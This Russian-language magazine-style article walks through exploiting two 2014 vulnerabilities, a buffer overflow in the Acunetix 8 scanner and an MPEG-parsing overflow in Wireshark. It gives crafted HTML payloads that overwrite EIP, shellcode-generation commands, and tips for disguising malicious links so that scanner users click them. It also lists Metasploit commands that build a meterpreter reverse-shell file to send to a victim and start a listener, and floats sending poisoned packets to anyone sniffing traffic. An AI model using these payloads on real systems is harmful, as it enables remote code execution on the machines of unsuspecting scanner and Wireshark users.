В этом обзоре мы рассмотрим эксплойты в софте для проведения атак. Используя такие уязвимости, можно создать активную защиту, которая сможет атаковать в ответ всех, кто пытается получить важную информацию.

 

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Уязвимость нулевого дня в Acunetix 8

  • CVSSv2 10.0 (AV:R/AC:L/Au:N/C:C/I:C/A:C)
  • Дата релиза: 23 апреля 2014 года
  • Автор: Danor Cohen, Osanda Malith
  • CVE: 2014-2994

BRIEF

Acunetix — один из самых популярных веб-сканеров уязвимостей и знаком многим нашим читателям благодаря хорошим результатам и простоте использования. Правда, большинство людей использует его «ознакомительную» версию Acunetix 8 (билд 20120704) из-за ощутимой цены. В связи с этим атаку с использованием найденной уязвимости прозвали «Взломай скрипт-кидди».

Ошибка происходит из-за неправильной обработки полученных данных, в частности ссылок на сторонние доменные имена. Вот пример найденных с помощью модуля Scan Wizardдоменов для блога автора уязвимости.

XSS-уязвимость в McAfee Superscan 4.0
XSS-уязвимость в McAfee Superscan 4.0

Этот модуль собирает домены из HTML-тегов, используемых на исследуемом сайте, например:

<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>

После небольшого фаззинга было найдено, что Acunetix падает, если длина строки с доменным именем будет равна 268 или больше байт:

<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA”> 

При быстром анализе падения приложения в Immunity Debugger видим, что происходит повреждение регистра EDX, который заполняется кодом символа A. Значение регистров представлено на скриншоте.

Значения регистров после ошибки в Acunetix
Значения регистров после ошибки в Acunetix

Первая проблема в эксплуатации этой уязвимости заключается в обходе SEH. Вторую можно описать одним словом — ASCII. Acunetix получает информацию о внешних доменах как URL-адреса. А так как URL-адреса содержат только цифры и буквы за отдельным исключением, то мы не сможем указать некоторые адреса. Например, символ " будет представлен в памяти как 253232, потому что в начале конвертируется в %22 и затем только в коды символов. Кстати, сам символ % тоже будет конвертирован и отобразится как 253235.

Анализ падения приложения Acunetix в Immunity Debugger
Анализ падения приложения Acunetix в Immunity Debugger

Поэтому мы можем использовать только символы из диапазонов: A–Z, a–z, 1–0. И несколько специальных символов-исключений: !()=}{.

Автор долгое время пытался найти обход SEH с использованием только «печатных» символов, но нашел лишь обходной путь, поэтому он советует не тратить время на поиски.

Давай взглянем на полученное решение. Если посмотрим на строку, в которой происходит падение, то увидим следующее:

00405998 8B4A F8 MOV ECX,DWORD PTR DS:[EDX-8]

Мы перезаписываем регистр EDX, но в инструкции он использует полученное значение минус 8. То есть к найденному подходящему адресу нужно будет добавить 8, конвертировать в «печатные» символы и надеяться на лучшее…

После небольшого поиска был найден подходящий адрес, который успешно представляется подходящими символами:

0х66303035 = f005

Перезапись регистра EIP после обращения к адресу 0х66303035
Перезапись регистра EIP после обращения к адресу 0х66303035

Для поиска нужного смещения можно воспользоваться утилитами pattern_create.rb иpattern_offset.rb из фреймворка Metasploit. Небольшое руководство по их использованию мы публиковали в одном из номеров, или можешь прочесть онлайн-версию на нашем сайте.

Далее находим место в URL-адресе, которое затирает регистр, и подставим полученное значение

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

Результат представлен на скриншоте. Как ты видишь, мы добились нужного результата и перезаписали регистр EIP.

![Перезапись регистра EIP после обращения к адресу 0х66303035](EIP overrun.png)

Помимо этого, есть два места, куда мы можем подставить наш шелл-код: регистры ESP и EAX. Лучше всего использовать ESP по нескольким причинам:

  • этот регистр указывается точно на начало строки с шелл-кодом;
  • больше места под полезную нагрузку, чем в EAX.

После того как мы определились с выбором регистра, нужно найти адрес, указывающий на инструкцию:

JMP ESP

Этот адрес должен будет записан с помощью «печатных» символов. Автор оригинального эксплойта использовал следующий адрес:

0x7e79515d (из библиотеки SXS.DLL) = ]Qy~

Также можно воспользоваться утилитой mona.py от Corelan с подходящими опциями и найти еще варианты:

!mona jmp -r esp -cp asciiprint
0x4d526349 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [WINHTTP.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\WINHTTP.dll)

Результат будет выглядеть примерно так:

0x4d526349 = MRcI

Но воспользуемся первым, подставим его в нашу атакующую ссылку и запустим программу:

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~BBBB...”>
Выполнение кода из регистра ESP для Acunetix 8 через адрес 0x7e79515d
Выполнение кода
из регистра ESP
для Acunetix 8 через
адрес 0x7e79515d

Результат срабатывания ты увидишь на скриншоте. Мы добились вызова инструкции:

INC DEX

Ее опкодом является 42 — код переданного символа B. Если заметил, то полученный адрес мы записали через четыре символа после первого адреса, так как они идут в ненужный нам регистр.

Следующим шагом нам нужно подобрать подходящий Windows-шелл, который мы сможем записать как URL-строку. В этом нам могут помочь две утилиты:

  • Python-утилита ALPHA3: ALPHA3.py esp -- input="shellcode.bin";
  • Metasploit-утилита: msfpayload windows/exec cmd=calc EXITFUNC=thread R| msfencode -e x86/alpha_mixed -t python BufferRegister=ESP.

Но не забывай: так как шелл-код находится в ESP-регистре, то первая инструкция должна будет быть:

PUSH ESP

Поэтому мы и указываем в утилитах такой параметр. Полученный эксплойт успешно проходит DEP-защиту, так как Acunetix был скомпилирован без соответствующей опции. Полученную строку ты можешь добавить в нашу ссылку и сохранять у себя на сайте.

EXPLOIT

Теперь рассмотрим эксплойты, которые могут сгенерировать все описанное. На момент написания статьи существовало два публичных эксплойта:

  • один, от автора найденной уязвимости, написан на Perl;
  • второй написан на Python.

Также доступны видео по эксплуатации как Python-версии, так и Perl-версии.

Единственная проблема — такие адреса будут очень подозрительны, когда атакующий увидит их в окне Scan Wizard, поэтому автор предлагает их замаскировать:

  1. Сделать домен более привлекательным:
    ADMIN.ControlMangment.1249874350345.site.com
    
  2. Использовать имена доменов, начинающиеся с типов уязвимостей: SQLINJECTION, XSS», CSRF и подобное. Например:
    <img src="http://CSRF................................................ ..................................................................... .....................................................................шелл-код">
    

Большинство начинающих пентестеров с радостью выберут такие пункты, нажмут ОК и далее выполнят подставленный произвольный код.

TARGETS

Протестировано на Acunetix 8 build 20120704.

SOLUTION

Есть исправление от производителя.

 

Переполнение буфера в версиях Wireshark ниже 1.8.12/1.10.5

  • CVSSv2 9.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)
  • Дата релиза: 7 марта 2014 года
  • Автор: Wesley Neelen
  • CVE: 2014-2299

BRIEF

Следующая программа также знакома большинству читателей — Wireshark. Без нее анализ сетевого трафика уже многим непривычен и неудобен.

Ошибка обнаружилась в функции mpeg_read() из файла wiretap/mpeg.c, которая используется для парсинга файлов формата MPEG. Сама же уязвимость проявляется из-за отсутствия проверки размера полученных данных, вследствие чего получаем обычное переполнение буфера.

Проблему разработчики легко исправили, добавив проверку на размер пакета:

if (packet_size > WTAP_MAX_PACKET_SIZE) {
    ...
    *err = WTAP_ERR_BAD_FILE;
    *err_info = g_strdup_printf("mpeg: File has %u-byte packet, bigger than maximum of %u", packet_size, WTAP_MAX_PACKET_SIZE);
    return FALSE;
}

В отличие от предыдущей программы, данная бесплатная с открытыми исходниками, но довольно часто используется ее portable-версия, которую периодически забывают обновлять. Так что у тебя есть все шансы успешно воспользоваться следующим эксплойтом.

EXPLOIT

Структура файла-эксплойта включает несколько частей:

  • сигнатуру (Magic number) MPEG-файла — FFFB41;
  • случайные данные;
  • ROP-цепочку;
  • шелл-код;
  • случайные данные, число которых определяется размером предыдущих секций;
  • инструкцию для обхода SEH-механизма, если файл открывается через командную строку;
  • снова случайные данные;
  • инструкцию для обхода SEH, если открывается через GUI.

Несколько инструкций SEH пришлось использовать из-за различных сценариев открытия файла. Если интересно, можешь посмотреть историю разработки на GitHub-аккаунте автора.

 

Чтобы найти ROP-цепочку и инструкции для обхода SEH, как и в предыдущем эксплойте, воспользуемся утилитой mona.py. Кстати, команда Corelan в своем видео по использованию скрипта для примера как раз использует одну из уязвимостей в программе Wireshark. В нашем случае, зная нужные библиотеки, можно заюзать такую команду:

!mona rop -m "libgtk-win32, libjpeg, libgnutls, libgobject, libcares" -cpb '\xff'

А пока возьмем готовый Metasploit-модуль, который генерирует файл формата PCAP для открытия его уязвимой программой Wireshark:

use exploit/windows/fileformat/wireshark_mpeg_overflow
msf exploit (wireshark_mpeg_overflow) > set payload windows/meterpreter/reverse_tcp
msf exploit (wireshark_mpeg_overflow) > set lhost 192.168.81.131
msf exploit (wireshark_mpeg_overflow) > set target 1
msf exploit (wireshark_mpeg_overflow) > exploit

После этого отправляем файл пользователю атакуемой машины из папки/root/.msf4/local/mpeg_overflow.pcap, а у себя запускаем клиент, который будет ожидать коннекта:

msf exploit (wireshark_mpeg_overflow) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set lhost 192.168.81.131
msf exploit (handler) > exploit

Осталось дождаться запуска нашего файла, после чего выполняем любые команды на побежденной машине :).

Есть идея попробовать доработать эксплойт, чтобы он генерировал не файл, а пакет, и отправлять его постоянно по сети. Тем самым с большой вероятностью любой человек, который попробует поснифать твои пакеты, используя уязвимую версию, выполнит произвольный код на своей машине. Ну или просто его Wireshark будет постоянно закрываться.

Видео по работе с этой уязвимостью и идеи ее использования опубликовали ребята из Digital Security в своей статье по «побегу» из виртуальной машины.

Генерируем эксплойт-файл для Wireshark в Metasploit
Генерируем эксплойт-файл для Wireshark в Metasploit

TARGETS

  • Wireshark <= 1.8.12.
  • Wireshark <= 1.10.5.

SOLUTION

Есть исправление от производителя.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …